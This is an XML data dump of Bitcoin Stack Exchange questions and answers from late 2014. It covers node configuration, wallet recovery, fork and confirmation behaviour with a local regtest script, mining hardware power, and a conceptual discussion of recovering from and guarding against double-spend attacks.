  <row Id="32660" PostTypeId="2" ParentId="32655" CreationDate="2014-11-21T13:05:08.357" Score="0" Body="&lt;p&gt;There are countless router port forwarding guides on the Internet, this isn't Bitcoin/Litecoin specific.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, you've got the port right, you need to set your computer up on a reserved local address so that your internal IP address doesn't change when you reboot. Then you need to assign that custom &quot;game or application&quot; you have created to your newly reserved local IP. You may need to allow the port on your computer's firewall too. That should do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Saying that, Bitcoin/Litecoin is peer-to-peer and doesn't require the port opening it will function fine without it. The only difference will be that people are able to connect to you which will give your node more peer options so it could make it sync faster. Of course it could also make you sync slower because you'll be helping more peers sync.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depending on your Internet speed it could be the uploads that are making your downloads take aeons, or it could be a slow/busy disk. Remember, it's not a website - you're not going to download 4Gb from the other volunteer peers at the same rate you might for other downloads. &lt;/p&gt;&#xA;" OwnerUserId="18441" LastActivityDate="2014-11-21T13:05:08.357" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32661" PostTypeId="2" ParentId="24653" CreationDate="2014-11-21T13:50:03.707" Score="5" Body="&lt;p&gt;So the whole point of a name reg contract is not to send transactions, rather its sole purpose is to build up a database which other nodes can then query.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ethereum smart contracts have immutable storage. This means that you can prove your primacy to a specific name, and other people can then reference that as part of a database. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What it comes down to is the credence other entities hold towards a specific name reg Dapp (Network effect, utility, what service it is registering names for etc). In some situations people would want a name reg for a specific purpose, say a list of Escrow contracts for one company, this could then be used internally, or shared. In others as you mention in your question, people would rather look towards a singular name reg which controls a DNS service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can have a look at an example name registration smart contract here: &lt;a href=&quot;https://github.com/ethereum/dapp-bin/blob/master/namereg/namereg.html&quot;&gt;https://github.com/ethereum/dapp-bin/blob/master/namereg/namereg.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope you find this useful!&lt;/p&gt;&#xA;" OwnerUserId="21229" LastActivityDate="2014-11-21T13:50:03.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32662" PostTypeId="2" ParentId="32534" CreationDate="2014-11-21T14:38:10.673" Score="0" Body="&lt;p&gt;As long as you have your &lt;code&gt;wallet.dat&lt;/code&gt; file backed up, you have not lost any coins.  You can safely delete your local copy of the blockchain and it will be downloaded again.  Give it time to download everything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps you didn't restore the correct backup copy of you &lt;code&gt;wallet.dat&lt;/code&gt; file.  Or perhaps your &lt;code&gt;blkindex.dat&lt;/code&gt; file IS your wallet file, just renamed.  Do you have a backup of that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try closing your wallet client, replacing your wallet file with a backup, then re-opening your wallet client.&lt;/p&gt;&#xA;" OwnerUserId="6375" LastActivityDate="2014-11-21T14:38:10.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32664" PostTypeId="1" CreationDate="2014-11-21T19:07:45.170" Score="1" ViewCount="361" Body="&lt;p&gt;I'm using &lt;code&gt;bitcoind&lt;/code&gt;'s JSONRPC interface to get transaction information for my wallet, specifically, I'm running a little script every time a block gets broadcast (using &lt;code&gt;-blocknotify&lt;/code&gt;) which calls the &lt;code&gt;getrawtransaction&lt;/code&gt; method to get the parsed raw transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Among the fields returned by &lt;code&gt;getrawtransaction&lt;/code&gt; we have &lt;code&gt;confirmations&lt;/code&gt;, but what does this field contain &lt;em&gt;during&lt;/em&gt; a fork? Ie. if one were to call the &lt;code&gt;getrawtransaction&lt;/code&gt; method when there are two &quot;current&quot; blocks, what would this field contain? (bare in mind that in case of a fork, one of the two &quot;current&quot; blocks may include a transaction while the other may not).&lt;/p&gt;&#xA;" OwnerUserId="20854" LastActivityDate="2014-11-22T04:07:11.443" Title="Bitcoind confirmations during fork" Tags="|bitcoind|json-rpc|blockchain-fork|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32665" PostTypeId="2" ParentId="32534" CreationDate="2014-11-21T19:13:34.923" Score="0" Body="&lt;p&gt;If you did delete your wallet file, check your recycle bin. You should be able to sort via date, and figure it out based on the time you deleted it. &lt;/p&gt;&#xA;" OwnerUserId="21231" LastActivityDate="2014-11-21T19:13:34.923" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32666" PostTypeId="2" ParentId="32664" CreationDate="2014-11-21T20:51:32.780" Score="4" Body="&lt;p&gt;All of the information provided by Bitcoin Core applies only to the chain it currently thinks is the best block chain.  Any blocks which are not part of that chain are not counted towards the confirmation score.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're using Bitcoin Core in a merchant application, you should probably test what happens during various-length forks.  You can do this using the &lt;a href=&quot;https://bitcoin.org/en/developer-examples#regtest-mode&quot; rel=&quot;nofollow&quot;&gt;regression test (regtest) mode&lt;/a&gt;.  For example (I haven't tested this):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;nodeA_options=&quot;-regtest -rpcpassword=foo&quot;&#xA;nodeB_options=&quot;-regtest -rpcpassword=foo -datadir=/tmp/regtest -port=9999 -rpcport=10000&quot;&#xA;&#xA;## start node A&#xA;bitcoind -daemon $nodeA_options&#xA;&#xA;## Create a block to get its coinbase in your wallet (unspendable for 100 blocks)&#xA;bitcoin-cli $nodeA_options setgenerate true 1&#xA;&#xA;## start node B and connect it to node A; it'll sync the block&#xA;bitcoind -daemon $nodeB_options -connect=localhost&#xA;&#xA;## stop node A to break the connection&#xA;bitcoin-cli $nodeA_options stop&#xA;&#xA;## generate a block on node B&#xA;bitcoin-cli $nodeB_options setgenerate true 1&#xA;&#xA;## Restart node A and generate a block&#xA;bitcoind -daemon $nodeA_options&#xA;bitcoin-cli $nodeA_options setgenerate true 1&#xA;&#xA;## Stop and restart node B with a connection to node A&#xA;## At this point, both nodes have a different block #2 so you can see&#xA;##   what a fork looks like to the nodes&#xA;bitcoin-cli $nodeB_options stop&#xA;bitcoind -daemon $nodeB_options -connect=localhost&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of particular use, you will probably want to set the &lt;code&gt;-alertnotify&lt;/code&gt; command, which can warn you about longer forks and allow you to automatically shutdown your payment processing system until the fork is resolved or you intervene manually.  You may also want to look at the &lt;a href=&quot;https://bitcoin.org/en/developer-reference#listsinceblock&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;listsinceblock&lt;/code&gt; RPC&lt;/a&gt; which can work in conjunction with &lt;code&gt;-blocknotify&lt;/code&gt; to tell you what's changed in the most recently-accepted block.&lt;/p&gt;&#xA;" OwnerUserId="21052" LastActivityDate="2014-11-21T20:51:32.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32667" PostTypeId="2" ParentId="32664" CreationDate="2014-11-22T04:07:11.443" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;if one were to call the getrawtransaction method when there are two &quot;current&quot; blocks, what would this field contain? (bear in mind that in case of a fork, one of the two &quot;current&quot; blocks may include a transaction while the other may not).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Essentially, your client does a tiebreaker to figure out which one it will consider real. The block that arrived first wins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The important part about this is that different nodes on the network might have seen the blocks in a different order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is why confirmations don't necessarily go up over time.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2014-11-22T04:07:11.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32670" PostTypeId="1" AcceptedAnswerId="32674" CreationDate="2014-11-22T13:18:12.763" Score="1" ViewCount="93" Body="&lt;p&gt;Is it normal to infrequently see errors retrieving trade/depth history by API from BTC-E? Or should I never see them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I seem to be seeing at least one such error each day, I am running my script on an Amazon EC2. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Jon. &lt;/p&gt;&#xA;" OwnerUserId="21238" LastActivityDate="2014-11-22T17:39:39.297" Title="BTC-E API (Retrieve error)" Tags="|api|error|btce|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32671" PostTypeId="1" CreationDate="2014-11-22T15:46:15.373" Score="1" ViewCount="135" Body="&lt;p&gt;I found that when a peer receives an &lt;code&gt;inv&lt;/code&gt; message with type=block, it will immediately request that block or that block's headers with a &lt;code&gt;getdata&lt;/code&gt; message or &lt;code&gt;getheaders&lt;/code&gt; message. But if the peer receives an &lt;code&gt;inv&lt;/code&gt; message with type=tx, it won't respond immediately.  For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Node A  inv(tx)      Node B  |  Node A  inv(block)  Node B&#xA;        &amp;lt;-----------         |          &amp;lt;---------&#xA;                             |&#xA;        [delay]              |          [no delay]&#xA;                             | &#xA;        getdata(tx)          |          getdata(block)&#xA;        -----------&amp;gt;         |          ---------&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why is there a delay in requesting transactions but not a delay in requesting blocks? I'm guessing that relaying a transaction is less important than getting the most recent block to ensure the node is on the consensus best block chain.&lt;/p&gt;&#xA;" OwnerUserId="21175" LastEditorUserId="2306" LastEditDate="2014-11-23T16:18:14.617" LastActivityDate="2014-11-23T16:18:14.617" Title="Does each peer prioritize inv(type=block) over inv(type=tx)?" Tags="|network|relay|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32672" PostTypeId="1" AcceptedAnswerId="32778" CreationDate="2014-11-22T16:45:07.393" Score="2" ViewCount="4431" Body="&lt;p&gt;Bitmain has a new miner out that is pretty cool (water cool to be exact) called the &lt;a href=&quot;https://www.bitmaintech.com/productDetail.htm?pid=00020141016120002527iTkNypAG06C9&quot; rel=&quot;nofollow noreferrer&quot;&gt;Antminer C1&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have an S1 so I am familiar with the basic operation of the Antminers. However, I'm a bit baffled that it has eight PCI-e connectors for power. I've never seen a PSU with eight PCI-e connectors. I'm not sure how I would power this thing effectively if I got one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=846095&quot; rel=&quot;nofollow noreferrer&quot;&gt;I found a great setup guide&lt;/a&gt;, but it doesn't go into detail with the power setup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a picture of how the connectors are set up:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xU1nS.jpg&quot; alt=&quot;Top of Antminer C1&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my questions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The C1 requires that at least four of the PCI-e connectors are used. Which ones then are the important ones?&lt;/li&gt;&#xA;&lt;li&gt;It is recommended that your PSU be at least 800 watts. Is that correct? Is it different if you only power it through four connectors?&lt;/li&gt;&#xA;&lt;li&gt;Is it possible to use two or more PSU's to power the miner? For example, I have tons of 300 to 500 watt PSU's that have at least one PCI-e connector. How might those be useful to me?&lt;/li&gt;&#xA;&lt;li&gt;Do they even make PSU's with eight PCI-e connectors? What is the best solution for a single PSU to power all eight connectors?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerDisplayName="user4276" LastActivityDate="2015-02-08T15:13:43.130" Title="How to power the Bitmain Antminer C1?" Tags="|mining-setup|antminer|psu|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32673" PostTypeId="2" ParentId="32095" CreationDate="2014-11-22T17:37:28.737" Score="0" Body="&lt;p&gt;Output the address with Javascript, crawlers cannot see that. e.g. document.WriteLn(addressHere);  Hiding the page behind a POST will stop most crawlers but not all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively you could do some simple obfuscation, e.g. split the address in two and ask the user to combine it, or leave off the '1'/'3' prefix and ask users to add that manually. Kinda like when people list their email address as userATdomainDOTcom.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you could use a payment processor that pays out in bitcoin e.g. snapcard.io&lt;/p&gt;&#xA;" OwnerUserId="18441" LastActivityDate="2014-11-22T17:37:28.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32674" PostTypeId="2" ParentId="32670" CreationDate="2014-11-22T17:39:39.297" Score="0" Body="&lt;p&gt;Yes, most exchange APIs fail at times. Add a sleep-and-retry to your code.&lt;/p&gt;&#xA;" OwnerUserId="18441" LastActivityDate="2014-11-22T17:39:39.297" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32675" PostTypeId="2" ParentId="32672" CreationDate="2014-11-22T18:05:51.187" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://www.bitmaintech.com/files/download/C1%20Manual_EN_2014.10.31.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;AntMiner C1 Manual:&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;You must prepare your own ATX Power Supply. There are 4 PCI-e connectors for +12V DC &#xA;  input and all are required.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That either means:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The manual is right, and some of these are not 12V connectors. This seems unlikely.&lt;/li&gt;&#xA;&lt;li&gt;The manual is wrong, and you need eight 6-pin PCI-e connectors.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is it possible to use two or more PSU's to power the miner? &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It depends on how they designed the miner. Those connectors might join together inside the miner, which would mean that you'd want one power supply, or they might be &lt;a href=&quot;https://www.bitmaintech.com/bm_tech_admin_at_123/userfiles/image/BJ4A2520-xueqius.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;two separate circuits&lt;/a&gt;, which would mean it would be more or less safe. &lt;a href=&quot;https://superuser.com/a/682123/173193&quot;&gt;Generally, you don't want to use two power supplies to power the same part, though.&lt;/a&gt; Can you take a picture of those connectors with the case off?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the power supply recommendation - power supplies with eight PCI-e are very expensive, primarily because nobody needs that many. I mean, a typical desktop computer is probably going to need one PCI-e connector. &lt;a href=&quot;https://www.evga.com/Products/Product.aspx?pn=220-P2-1600-X1&quot; rel=&quot;nofollow noreferrer&quot;&gt;They do exist, though.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I would recommend getting two power supplies with four PCIe connectors. I suggest the &lt;a href=&quot;http://pcpartpicker.com/part/cooler-master-power-supply-rs650amaab1us&quot; rel=&quot;nofollow noreferrer&quot;&gt;Cooler Master G650M&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Oh, and the manual says this, which suggests that it's not water-cooled out of the box:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Cooling kit is not included in C1, please read the instruction at www.bitmaintech.com to &#xA;  buy them.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2017-03-20T10:18:34.833" LastActivityDate="2014-11-22T23:01:10.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32676" PostTypeId="1" AcceptedAnswerId="32677" CreationDate="2014-11-22T19:54:17.137" Score="2" ViewCount="275" Body="&lt;p&gt;I know the coinbase transaction's input is usually just has a dummy &lt;code&gt;scriptSig&lt;/code&gt;, but what if a miner used it to spend an UTXO? Would it be verified as an actual spend, or would the block be rejected?&lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2014-11-22T20:21:50.943" Title="Can the coinbase transaction be used to spend an UTXO?" Tags="|mining-reward|utxo|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32677" PostTypeId="2" ParentId="32676" CreationDate="2014-11-22T20:21:50.943" Score="4" Body="&lt;p&gt;It would be rejected.  The coinbase input must use a very specific previous &lt;a href=&quot;https://bitcoin.org/en/developer-reference#raw-transaction-format&quot; rel=&quot;nofollow&quot;&gt;outpoint&lt;/a&gt;: &lt;code&gt;0x0000000000000000000000000000000000000000000000000000000000000000ffffffff&lt;/code&gt;. This prevents it from referring to an actual previous outpoint.&lt;/p&gt;&#xA;" OwnerUserId="21052" LastActivityDate="2014-11-22T20:21:50.943" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32678" PostTypeId="1" CreationDate="2014-11-22T22:10:40.490" Score="0" ViewCount="1073" Body="&lt;p&gt;I found myself incapable of answering what would happen in this case, so here it is:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;A hacker (&lt;code&gt;Mr Hacker&lt;/code&gt;) spends &lt;code&gt;UTXO_1&lt;/code&gt; and &lt;code&gt;UTXO_2&lt;/code&gt; in &lt;code&gt;TX_1&lt;/code&gt;, depositing the monetary value of all &lt;code&gt;TX_1&lt;/code&gt;'s outputs into a &lt;code&gt;Service&lt;/code&gt; (eg a payment processor).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;A legitimate user (&lt;code&gt;Mr Legit&lt;/code&gt;) spends &lt;code&gt;UTXO_3&lt;/code&gt; in &lt;code&gt;TX_2&lt;/code&gt;. Again, &lt;code&gt;TX_2&lt;/code&gt;'s outputs targets the same &lt;code&gt;Service&lt;/code&gt; &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Both &lt;code&gt;TX_1&lt;/code&gt; and &lt;code&gt;TX_2&lt;/code&gt; make it into the same block and get one confirmation by the network.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The &lt;code&gt;Service&lt;/code&gt; immediately spends &lt;code&gt;UTXO_1&lt;/code&gt; and &lt;code&gt;UTXO_3&lt;/code&gt; in &lt;code&gt;TX_3&lt;/code&gt; to pay &lt;code&gt;Mr Legit&lt;/code&gt; and &lt;code&gt;UTXO_2&lt;/code&gt; in &lt;code&gt;TX_4&lt;/code&gt; to pay &lt;code&gt;Mr Smith&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;Mr Hacker&lt;/code&gt; then decides to double-spend &lt;code&gt;TX_1&lt;/code&gt; and for that reason he creates &lt;code&gt;TX_5&lt;/code&gt; which &quot;redirects&quot; all outputs to himself. &lt;code&gt;Mr Hacker&lt;/code&gt; is a miner so he is able to perform all the hashing work to make the double-spend successful. He is also lucky and the double-spend succeeds.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So the question is:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Have all TXs before &lt;code&gt;TX_5&lt;/code&gt; (TXs: 1,2,3,4) been invalidated or just &lt;code&gt;TX_1&lt;/code&gt;, &lt;code&gt;TX_3&lt;/code&gt;and &lt;code&gt;TX_4&lt;/code&gt; (&lt;code&gt;TX_3&lt;/code&gt; and &lt;code&gt;TX_4&lt;/code&gt; spent an output previous controlled by &lt;code&gt;TX_1&lt;/code&gt; which was double-spent)?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;Mr Legit&lt;/code&gt; could see 1 confirmation for &lt;code&gt;TX_2&lt;/code&gt; before the double-spending. What does he see now? What does &lt;code&gt;Mr Smith&lt;/code&gt; see in his wallet, before and after the double-spending?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The &lt;code&gt;Service&lt;/code&gt; &lt;a href=&quot;https://bitcoin.stackexchange.com/a/32636/14319&quot;&gt;realizes that a double-spending took place&lt;/a&gt; and needs to recover from that broken state. What does it have to do to get back to normal operation? Does it have to re-send all the TXs? Does it still have in place the deposits made by &lt;code&gt;TX_2&lt;/code&gt; after the double-spending or does it have to do something to re-claim these outputs?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;How can the &lt;code&gt;Service&lt;/code&gt; prevent &lt;code&gt;Mr Hacker&lt;/code&gt;, who also has plenty of money to spend, from repeating the same process forever just to ruin the &lt;code&gt;Service&lt;/code&gt;'s smooth operation, rather than (the &lt;code&gt;Service&lt;/code&gt;) waiting for more confirmations before sending out the payments?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="14319" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.707" LastActivityDate="2022-12-31T15:53:11.903" Title="How to recover from a double spending attack?" Tags="|transactions|doublespend|hacking|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32679" PostTypeId="2" ParentId="32678" CreationDate="2014-11-22T22:56:58.303" Score="2" Body="&lt;p&gt;I had to diagram this out as the transactions and block chain might actually appear:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    Inputs/Prev Outpoints    Outpoints&#xA;TX1 A:0                      TX1:0, TX1:1&#xA;TX2 B:0                      TX2:0&#xA;TX3 TX1:0, TX2:0             ?&#xA;TX4 TX1:1                    ?&#xA;TX5 A:0                      TX5:0&#xA;&#xA;&#xA;                (TX5)&#xA;Block A ------&amp;gt; Block C ----&amp;gt; Block D&#xA;         \&#xA;          ----&amp;gt; Block B&#xA;                (TX1, TX2)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To answer your questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;TX3 and TX4 are not valid in any block chain which does not previously include TX1.  TX1 can't be included if TX5 is already a part of that chain because TX1 and TX5 both spend outpoint A:0.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;TX2 is never invalid, so it If the wallet sending TX2 downloaded the now-stale block, it would've shown 1 confirmation. After the wallet switched to the new best block chain, it would show 0 confirmations again because neither block C nor block D includes it. After another block on the best block chain does include it, it'll return to 1 confirmation and increase from there.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If the service still wants to make the same payments, it has to create new transactions (TX6, TX7) using inputs that are still valid (e.g. TX2:0). If it attempts to resend TX3 or TX4, other nodes may ban it for attempting to relay invalid transactions.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;To prevent future fork-based double spend attacks, the service either has to wait for more confirmations or find some non-Bitcoin way to collect money from double spenders, such as requiring registration with state-issued identification.  I know requiring more confirmations requires waiting more time, which is inconvenient, but it's the only decentralized method we have for reducing fraud risk.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="21052" LastActivityDate="2014-11-22T22:56:58.303" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32680" PostTypeId="2" ParentId="32678" CreationDate="2014-11-22T22:57:07.627" Score="2" Body="&lt;p&gt;TX_1 is invalid because it is in conflict with the newly confirmed TX_5.  TX_3 and TX_4 are also invalid because they depend on TX_1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TX_2 remains a valid transaction.  However, if Mr. Hacker's double spend attack involved orphaning the single block in which TX_1 and TX_2 were both contained, then TX_2 no longer appears on the block chain and now has 0 confirmations.  But nothing prevents it from being included in a future block, and assuming it has a fee attached, every miner on the network has an incentive to include it in their blocks.  So it would likely be confirmed quickly.  (In principle, there could be an opportunity here for Mr. Legit to double-spend and invalidate TX_2 if he wishes, but it would probably require the connivance of one or more powerful miners.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What Mr. Smith's wallet shows him about the now-invalid TX_4 is up to that software.  Some might just show it stuck at 0 confirmations.  Others might display a more specific method that it has been invalidated.  In either case, they would hopefully make it clear that he is not currently able to spend those coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming Service still owes money to Mr. Legit and Mr. Smith, they will need to create new transactions to pay them.  Obviously they can no longer spend the outputs of TX_1, nor can they spend TX_2 until it is reconfirmed.  They may need to instead spend other UTXOs they control, or if they don't have any, they will have to acquire some more coins from somewhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't think there is any way Service can avoid a repeat attack, short of simply waiting for more confirmations.  If they have some way of distinguishing Mr. Hacker from their other customers, they could impose a higher confirmation requirement on him alone.  Incoming transactions from other customers could continue to be spent immediately, while those from Mr. Hacker are held for additional confirmations before being spent.  That would reduce the possibility for Mr. Hacker's attacks to interfere with Service's other outgoing transactions.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-11-22T22:57:07.627" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32681" PostTypeId="1" CreationDate="2014-11-23T01:39:38.670" Score="3" ViewCount="843" Body="&lt;p&gt;It's been some time I've been using 'insight-api' (&lt;a href=&quot;https://github.com/bitpay/insight-api&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitpay/insight-api&lt;/a&gt;) and I couldn't find any documentation / anything helpful to query leveldb in a way that all addresses with a positive balance get dumped to a file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried blockparser (&lt;a href=&quot;https://github.com/znort987/blockparser&quot; rel=&quot;nofollow&quot;&gt;https://github.com/znort987/blockparser&lt;/a&gt;) and while it promises to get balance of all addresses, it is relatively very slow. I just need a proper reference/ documentation/ example to get started.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="19599" LastActivityDate="2014-11-23T11:52:50.740" Title="Querying insight-api to dump all addresses with a positive balance" Tags="|blockchain|bitcoind|leveldb|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32683" PostTypeId="2" ParentId="32517" CreationDate="2014-11-23T02:49:32.897" Score="8" Body="&lt;p&gt;No, there is no explicit, publicly-disclosed plan for this situation.&lt;/p&gt;&#xA;&lt;p&gt;However, there is an implicit plan: when it becomes know that practical quantum computers are on the near-term horizon, the programmers responsible for maintaining Bitcoin at that point will create a &lt;a href=&quot;https://bitcoin.org/en/developer-guide#term-hard-fork&quot; rel=&quot;nofollow noreferrer&quot;&gt;hard fork&lt;/a&gt; or &lt;a href=&quot;https://bitcoin.org/en/developer-guide#term-soft-fork&quot; rel=&quot;nofollow noreferrer&quot;&gt;soft fork&lt;/a&gt; to introduce a new signature type, likely something based on &lt;a href=&quot;https://en.wikipedia.org/wiki/Lamport_signature&quot; rel=&quot;nofollow noreferrer&quot;&gt;Lamport signatures&lt;/a&gt; or &lt;a href=&quot;https://en.wikipedia.org/wiki/Merkle_signature_scheme&quot; rel=&quot;nofollow noreferrer&quot;&gt;Merkle signatures&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Users will upgrade their wallets to wallets which support the new signature type and spend their bitcoins from their old private keys to their new private keys.  This is pretty much identical to what Android users had to do for the &lt;a href=&quot;https://bitcoin.org/en/alert/2013-08-11-android&quot; rel=&quot;nofollow noreferrer&quot;&gt;SecureRandom bug&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;This is all very easy if done in non-rushed manner, and fast quantum computing is still a ways off, which is one reason nobody is working on this now.  The other reason is that the proposed new signature types are all much larger than the &lt;a href=&quot;http://perso.univ-rennes1.fr/sylvain.duquesne/master/standards/sec2_final.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;secp256k1&lt;/a&gt; ECDSA signatures we use now, so using them would increase block chain bloat.&lt;/p&gt;&#xA;&lt;p&gt;Note: the question mentions the cracking of private keys from public keys, which could be done on a fast quantum computer using &lt;a href=&quot;https://en.wikipedia.org/wiki/Shor%27s_algorithm&quot; rel=&quot;nofollow noreferrer&quot;&gt;Shor's algorithm&lt;/a&gt;.  However, in the comments, the OP (B.T.) focuses on cracking SHA256 (which would likely be done using a different algorithm; I don't know which).&lt;/p&gt;&#xA;&lt;p&gt;The answer above focuses on the private key problem, but the solution for the proof of work problem is the same: a hard fork or soft fork to change the hashing algorithm to make its most difficult value even more difficult.  Again, as long as we have months or years to make the change, this is an easy upgrade, so there's no sense in performing it prematurely.&lt;/p&gt;&#xA;" OwnerUserId="21052" LastEditorUserId="5406" LastEditDate="2022-05-06T23:12:34.323" LastActivityDate="2022-05-06T23:12:34.323" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
